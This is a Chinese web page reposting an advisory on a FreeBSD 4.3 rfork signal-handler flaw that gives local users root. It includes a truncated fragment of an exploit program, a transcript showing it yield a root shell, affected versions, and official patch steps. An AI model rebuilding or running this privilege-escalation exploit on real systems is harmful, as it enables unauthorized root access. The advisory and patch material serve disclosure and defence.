首 页 ┆ 文章中心 ┆ 下载中心 ┆ 动画频道 ┆ 客户留言 ┆ 繁體中文
设为首页
加入收藏
联系我们
您当前的位置:古都网络 -> 文章中心 -> 软件教程 -> 网络技术 -> 文章内容 退出登录 用户管理
栏目导航
· 图文处理 · 文件工具
· ASP学院 · 网络技术
热门文章
· [图文] 衣原体感染的发病机...
· [组图] 性感+清纯(超爽)
· [图文] 成都铁路警方首次开...
· [组图] 国产标致美女 金莎
· [图文] 中国电信推出 网络游...
· [图文] 急速免费空间50m/无...
· 3721新闻联盟
· 华夏名网点击付费
· 第一主机联盟
· 龙腾广告站
相关文章
本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
作者:admin  来源:ASP教程  发布时间:2006-6-10 18:05:37  发布人:爱你也疯狂

减小字体 增大字体


发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
-------------vvfreebsd.c----------------------
/}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
kill(pid,MYSIG);
printf("done\n");
while(42);
}
...............................
.........................
.............
受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响
解决方案:
尚无
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
测试程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出补丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch
[] [返回上一页] [打 印] [收 藏]
上一篇文章:IIS UNICODE Bug
下一篇文章:网络防火墙的设置
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登录